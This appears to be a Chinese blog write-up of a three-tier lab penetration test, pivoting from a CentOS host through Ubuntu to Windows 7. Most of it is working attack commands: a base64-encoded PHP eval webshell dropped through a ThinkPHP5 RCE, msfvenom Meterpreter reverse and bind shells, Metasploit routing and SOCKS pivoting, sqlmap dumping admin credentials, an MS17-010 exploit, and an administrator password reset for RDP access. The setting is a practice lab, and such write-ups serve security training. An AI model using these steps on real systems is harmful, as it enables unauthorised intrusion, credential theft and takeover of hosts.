[内网渗透]CFS三层靶机渗透

文章目录

    • [内网渗透]CFS三层靶机渗透
      • 网络拓扑图
      • 靶机搭建
      • Target1
        • 0x01.nmap主机探活
        • 0x02.端口扫描
        • 0x03.ThinkPHP5 RCE漏洞拿shell
        • 0x04.上传msf后门(reverse_tcp)反向连接拿主机权限
      • 内网渗透
        • Target2
          • (1)路由信息探测
          • (2)msf代理配置
          • (3)利用bagecms-sql注入漏洞,admin登录后台拿shell
          • (4)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限
        • Target3
          • 0x01.添加路由
          • 0x02.利用ms17-010永恒之蓝漏洞拿shell
      • 参考:

[内网渗透]CFS三层靶机渗透

网络拓扑图

image-20230811111948557

三个Target主机的拓扑图如图,攻击机的网段在192.168.1.1/24

  • Target1 Centos7
  • Target2 Ubuntu
  • Target3 Win7

该靶机的渗透流程如下:

通过攻击机kaili192.168.1.129攻击target1的192.168.1.132,target2、3不能连通外网,只能在内网通信。所以需要先渗透target1,然后通过它的vmnet2网卡去攻击target2。拿下target2之后,通过target2做跳板,攻击target3.

靶机搭建

  • kali:192.168.1.129(vmnet1)
  • Target1:192.168.1.132(vmnet1)、192.168.22.130(vmnet2)
  • Target2:192.168.22.128(vmnet2) 、192.168.33.128(vmnet3)
  • Target3:192.168.33.33(vmnet3)

其他不在此赘述,参考:https://blog.csdn.net/qq_61237064/article/details/125602997

Target1

0x01.nmap主机探活

在kaili中使用nmap查看vmnet1网段有哪些主机:

nmap -T4 -sP 192.168.1.1/24

image-20230811114018123

查到一台:192.168.1.132

0x02.端口扫描

nmap -T4 -A -p 1-65535 192.168.1.132

image-20230811114423891

80端口开放

0x03.ThinkPHP5 RCE漏洞拿shell

浏览器访问一下是ThinkPHP5.0版本,有漏洞

image-20230811114551362

我们直接拿工具,检测一下漏洞:

image-20230811114645988

存在漏洞,直接命令执行,写shell进去(此处$_POST被过滤,于是使用base64编码绕过):

echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==" | base64 -d > x.php

image-20230811114906753

蚁剑连接:

image-20230811115002543

在txt文件发现两个flag

我们执行ifconfig,发现了另一个网段22 192.168.22.130

image-20230811115208212

那么肯定存在内网了

0x04.上传msf后门(reverse_tcp)反向连接拿主机权限

存在内网我们就要使用msf工具了,

首先使用msfevnom生成一个elf的马,这里采取反向连接(Target1来连接kali)

使用uname -a查看一下Target1的系统:

(www:/www/wwwroot/ThinkPHP/public) $ uname -a
Linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64 #1 SMP Fri Sep 13 22:55:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

linux64

然后我们生成一个elf后门马,查看自己的IP地址,并根据自己的IP地址目标靶机的系统类型生成对应的后门文件

# 根据target1操作系统类型生成elf后门,lhost为kali ip
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -f elf > shell.elf    

然后在kali中运行监听模块,监听本机4444端口:

# 在kali中运行监听模块
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.129
set lport 4444
exploit

然后我们将elf马上传到target1,设置权限,并执行:

chmod +x shell.elf
./shell.elf

这个时候Target1靶机已经上线msf了:

image-20230811125806597

下面开始内网渗透:

内网渗透

Target2

现在我们不能直接通过nmap去扫描Target2靶机的ip,因为我们网段的设置,kali与Target1是处在同一个网段的主机,我们可以直接扫描到。但是现在扫描的Target2处于内网网段,直接扫扫不到。但是我们知道Target1的vmnet2网卡与Target2处于一个网段,所以我们可以通过Target1的vmnet2网卡来打Target2,因此可以挂上Target1的代理

(1)路由信息探测

我们可以使用msf自带的模块进行信息探测:

  • 探测网络接口的模块(get_local_subnets)
  • 查看路由的模块(autoroute -p)
# 探测子网信息,可以看到存在22网段
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.1.0/255.255.255.0
Local subnet: 192.168.22.0/255.255.255.0# 查看路由信息,发现还没有路由
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] No routes have been added yet

**路由:**路由是指路由器从一个接口上收到数据包,根据数据包的目的地址进行定向并转发到另一个接口的过程,就相当于把我们要传输的数据先传输到该路由,再发往目标。

我们可以设置一个路由,然后把我们的请求通过Target1的vmnet1网段发出,然后重定向转发到vmnet2网段,这样kali的msf就可以与22网段(Target2)互通了

于是我们可以设置一个路由:

静态路由配置

MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了

# 设置路由
run autoroute -s 192.168.22.0/24
# 查看
run autoroute -p
(2)msf代理配置

路由有一个缺陷,它只能在msf建立的这个会话上使用,如果我们新开一个终端使用nmap扫描,还是扫描不到的,所以我们需要设置msf的代理

msf有自己的代理模块 auxiliary/server/socks_proxy

假设现在msf的会话是session1,是建立在Target1的shell上的,建立路由之后可以与22网段通信。那么我们想要通过session1使用工具去攻击22网段,这时该怎么办?

这种情况就需要设置一个代理了,通过这个代理给别人一个端口去连接,然后我们可以使用本机去连接kali的端口,这样就能访问Target2的22网段了

# 先切换到控制台
background
# 配置socks5代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvhost 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set srvport 1080
msf6 auxiliary(server/socks_proxy) > run

在kali中通过vim /etc/proxychains.conf修改proxychains配置文件:

image-20230811134750046

写入kali的ip和刚刚配置的端口

然后使用nmap探测端口(注意:使用nmap时前面要加上proxychains这样才能使用msf的代理)

proxychains nmap -T4 -p 80 192.168.22.128

image-20230811141654805

80端口开放

我们给浏览器设置一个socks5代理:

image-20230811141826019

访问一下:

image-20230811141851398

是一个bagecms搭建的网站

(3)利用bagecms-sql注入漏洞,admin登录后台拿shell

这里可以使用一个好用的工具SocksCap,这个工具可以给其他工具添加上代理

image-20230811142444730

扫描到robots.txt,告诉了我们admin的路径

#
# robots.txt for BageCMS
#
User-agent: * 
Disallow: /admini/
Disallow: /index.php?r=admini*

信息收集,源码给了hint:SQL注入点:/index.php?r=vul&keyword=1

image-20230811143956269

我们可以直接使用sqlmap跑,但是需要挂上代理,可以使用参数--proxy或kali中前面加上proxychains。我们可以直接指定注入点:-p keyword

# 爆一下数据库名称
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword --dbs
或
sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" --proxy=socks5://192.168.1.129:1080 -p keyword --dbs --batch
# 爆破 bagecms 库下的表
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" --tables T "bage_admin" --batch
# 爆破 bage_admin 表的字段
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" -T "bage_admin" --columns --batch
# 把 admin的账号密码给 dump出来
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了

拿到admin的账号和密码 admin:123qwe

登陆后台,拿到flag:

image-20230811145312912

tag/index.php写入马

image-20230811145740912

然后我们使用SocksCap工具挂上代理,打开蚁剑连接:

注意URL:http://192.168.22.128/?r=tag

image-20230811150210541

(4)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限

我们拿到shell之后和前面一样,使用msf生成后门。但是这里有点不同,由于Target2不能出网

所以我们这次只能正向连接,即通过kali去连接Target2

我们在蚁剑查看一下target2的操作系统:

uname -a

image-20230811151354653

可以看到是一个64位的操作系统

因此在kaili生成一个elf正向连接的后门:

# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > tgt2.elf

上传到target2,并修改权限执行:

chmod +x tgt2.elf
./tgt2.elf

image-20230811151543773

在MSF中开启监听,与Target2建立连接,这里需要注意,上一次代理使用的reverse_tcp是MSF作为监听,让Target1连到我们,而这次代理使用的bind_tcp是Target2作为监听,我们需要连到Target2,这个逻辑正好是相反的

同样,如果我们要用msf 另起一个终端开启监听,这里要注意,msf新开的终端之前的那个终端的配置都用不了。

如果我们这次代理使用的bind_tcp是Target2作为监听,我们要正向连接到内网里的target2

因此,我们不能直接使用msfconsole打开,而是需要使用proxychains打开msf,需要走代理,否则msf访问不到Target2,然后再去连接bind_tcp

这里有个图

img

(其实使用之前那个终端就行,已经配置了代理,我们就可以直接连bind_tcp了)

我们此处演示一下使用proxychains

proxychains msfconsole
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.128
set LPORT 3333
run

target2成功上线msf

image-20230811153115294

然后继续进行信息收集,我们可以使用:

# 获取网络接口:
run get_local_subnets
# 添加路由地址:
run autoroute -s 192.168.33.0/24
# 查看路由地址:
run autoroute -p

此处我们还可以使用一种方法:

shell
# 转化为交互式
python -c 'import pty;pty.spawn("/bin/bash");'
# 查看网络信息
ifconfig

image-20230811153551159

看到了一个33网段的ip,还存在内网

Target3

0x01.添加路由

由于我们在Target2(ubuntu)中探测到ubuntu主机 既处在22网段,又处在33网段,所以我们可以重复之前的步骤,增加一个路由,将kali通过代理发往Target2的流量通过路由从22网段重定向到33网段

# 添加指向33网段的路由
run autoroute -s 192.168.33.0/24
# 查看
run autoroute -p

image-20230811154615369

成功添加了路由

nmap扫描一下target3靶机开放的服务

(新开一个终端后,我们需要在这个新开的msf终端上配置一个代理,然后修改/etc/proxychains.conf

image-20230812183101630

root@kali:~# proxychains4 nmap -Pn -sT 192.168.33.33
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

扫描到开启了445和3389端口

image-20230811173052922

0x02.利用ms17-010永恒之蓝漏洞拿shell

从扫描结果很容易知道这是win7系统,开启445和3389端口

445端口存在ms17-010永恒之蓝漏洞

于是我们可以试着使用msf中的ms17-010打一下:

search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run

成功利用,输出shell进入命令行

image-20230812185355539

我们输出:netstat -ant查看一下有哪些端口:

image-20230812185455305

看到了3389端口,于是可以进行远程桌面连接,

我们先使用net user查看一下有哪些用户,发现有administrator

我们输入:net user administrator 123456修改密码

然后使用SocksCap打开连接远程桌面程序mstsc.exe

(注意要设置代理为新的那个),输入ip:192.168.33.33连接

image-20230812185220492

成功拿下

还有另一种连接方式:使用端口转发

portfwd add -l 7777 -p 3389 -r 192.168.33.33

将192.168.33.33:3389转发到kali的7777端口上,然后直接连接就行:

image-20230812190034722

参考:

https://www.cnblogs.com/1vxyz/p/17080748.html

https://blog.csdn.net/qq_61237064/article/details/125602997

https://teamssix.com/191021-211425.html#toc-heading-9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/33811.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode150道面试经典题--找出字符串中第一个匹配项的下标(简单)

1.题目 给你两个字符串 haystack 和 needle ,请你在 haystack 字符串中找出 needle 字符串的第一个匹配项的下标(下标从 0 开始)。如果 needle 不是 haystack 的一部分,则返回 -1 。 2.示例 3.思路 回溯算法:首先将…

LeetCode[1122]数组的相对排序

难度:Easy 题目: 给你两个数组,arr1 和 arr2,arr2 中的元素各不相同,arr2 中的每个元素都出现在 arr1 中。 对 arr1 中的元素进行排序,使 arr1 中项的相对顺序和 arr2 中的相对顺序相同。未在 arr2 中出现…

【mysql】MySQL CUP过高如何排查?

文章目录 一. 问题锁定二. QPS激增会导致CPU飘高三. 慢SQL会导致CPU飘高四. 大量空闲连接会导致CPU飘高五. MySQL问题排查常用命令 一. 问题锁定 通过top命令查看服务器CPU资源使用情况,明确CPU占用率较高的是否是mysqld进程,如果是则可以明确CUP飘高的原…

[ubuntu]创建root权限的用户 该用户登录后自动切换为root用户

一、创建新用户 1、创建新用户 sudo useradd -r -m -s /bin/bash 用户名 # -r:建立系统账号 -m:自动建立用户的登入目录 -s:指定用户登入后所使用的shell2、手动为用户设置密码 passwd 用户名 二、为用户增加root权限 1、添加写权限 ch…

【redis基础】

目录 一、概述 1.NoSQL 1.1 简述 1.2 类型 1.3 应用场景 1.3.1 缓存 1.3.2 分布式锁 1.3.3 计数器 1.3.4 会话管理 1.3.5 消息队列 2.Redis 2.1 简述 2.2 特性 2.3 监听端口号 2.4 数据类型 二、安装 1.编译安装 2.RPM安装 三、目录结构 1.查看 2.主配置文…

[保研/考研机试] KY163 素数判定 哈尔滨工业大学复试上机题 C++实现

题目链接: 素数判定https://www.nowcoder.com/share/jump/437195121691718831561 描述 给定一个数n,要求判断其是否为素数(0,1,负数都是非素数)。 输入描述: 测试数据有多组,每组输入一个数…

[Docker实现测试部署CI/CD----构建成功后钉钉告警(7)]

目录 15、钉钉告警创建项目群,然后添加机器人添加机器人Jenkins 系统配置项目配置修改Jenkinsfile文件,添加钉钉提示信息测试 不修改Jenkinsfile文件,添加钉钉提示信息测试 15、钉钉告警 创建项目群,然后添加机器人 首先需要在钉…

搭建 Python 环境 | Python、PyCharm

计算机 计算机能完成的工作: 算术运算逻辑判断数据存储网络通信…更多的更复杂的任务 以下这些都可以称为 “计算机”: 一台计算机主要由以下这几个重要的组件构成 CPU 中央处理器:大脑,算术运算,逻辑判断 存储器&…

CSS 的选择器有哪些种类?分别如何使用?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 元素选择器(Element Selector)⭐ 类选择器(Class Selector)⭐ ID 选择器(ID Selector)⭐ 后代选择器(Descendant Selector)⭐ 子元素选择器&a…

物联网的定义、原理、示例、未来

什么是物联网? 物联网 (IoT) 是指由嵌入传感器、软件和网络连接的物理设备、车辆、电器和其他物理对象组成的网络,允许它们收集和共享数据。这些设备(也称为“智能对象”)的范围可以从简单的“智能家居”设备(如智能恒温器)到可穿戴设备(如智能手表和支持RFID的服…

k8sday02

第四章 实战入门 本章节将介绍如何在kubernetes集群中部署一个nginx服务,并且能够对其进行访问。 Namespace ​ Namespace是kubernetes系统中的一种非常重要资源,它的主要作用是用来实现多套环境的资源隔离或者多租户的资源隔离。 ​ 默认情况下&…

springBoot的日志文件

日志是程序的重要组成部分,主要可以用来定位和排查问题。除此之外,还可以用来: 1. 记录用户的登录日志,方便分析用户是正常登录还是恶意破解; 2. 记录系统的操作日志,方便数据恢复和定位操作人;…

【C语言】小游戏-三字棋

大家好,我是深鱼~ 目录 一、游戏介绍 二、文件分装 三、代码实现步骤 1.制作简易游戏菜单 2.初始化棋盘 3.打印棋盘 4.玩家下棋 5.电脑随机下棋 6.判断输赢 7.判断棋盘是否满了 四、完整代码 game.h(相关函数的声明,整个代码要引用的头文件以及宏…

某大厂笔试(小*的车站的最近距离)

有一个环形的公路,上面共有n站,现在给定了顺时针第i站到第i1站之间的距离(特殊的,也给出了第n站到第1站的距离),小*想着沿着公路第x站走到第y站,她想知道最短的距离是多少? 输入描述…

小程序商城开发制作

当开发一个商城小程序时,费用是一个非常重要的考虑因素。然而,准确回答这个问题是有一定困难的,因为开发商城小程序的费用取决于多个因素。以下是一些可能影响价格的主要因素: 1. 功能需求:商城小程序的复杂程度和功能…

阻塞队列的安全实现,定时器的安全实现(面试易考),超详细

一、💛 如何实现一个线程安全的阻塞队列 目前,当前代码是循环队列(还没有进行改动) head和tail的判空判断满两种方法: 1.浪费一个格子,当前走到head的前一个位置,就认为队列满的 2.单独搞一个变量&#xff…

系统架构设计专业技能 · 网络规划与设计(三)【系统架构设计师】

系列文章目录 系统架构设计专业技能 网络规划与设计(三)【系统架构设计师】 系统架构设计专业技能 系统安全分析与设计(四)【系统架构设计师】 系统架构设计高级技能 软件架构设计(一)【系统架构设计师…

手把手带你跑通网站上线全流程(一个简单的HTML和Python服务端完整上线流程)

我将向你介绍如何将一个网站部署到公网&#xff0c;包含完整流程。 前端静态网站 静态网站文件 首先需要准备一个简单的网页文件用于展示页面 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name&quo…

2023深圳杯A题完整代码模型

已更新深圳杯A题全部版本&#xff0c;文末获取&#xff01; 摘要 现代社会&#xff0c;随着生活方式的变化和工作压力的增大&#xff0c;慢性非传染性疾病日益成为威胁公众健康的主要问题。心脑血管疾病、糖尿病、恶性肿瘤及慢性阻塞性肺病等慢性病的发病率呈现出上升趋势。为…

23款奔驰AMG GT50更换原厂运动排气系统,战斗感立马提升了

改装运动排气&#xff0c;原车中控的按键组也是需要更换的。与原车按键相比&#xff0c;只是多了一个排气的控制按键&#xff0c;也正是这个按键&#xff0c;能让车辆可静可怒&#xff0c;安静与怒吼就在一键之间。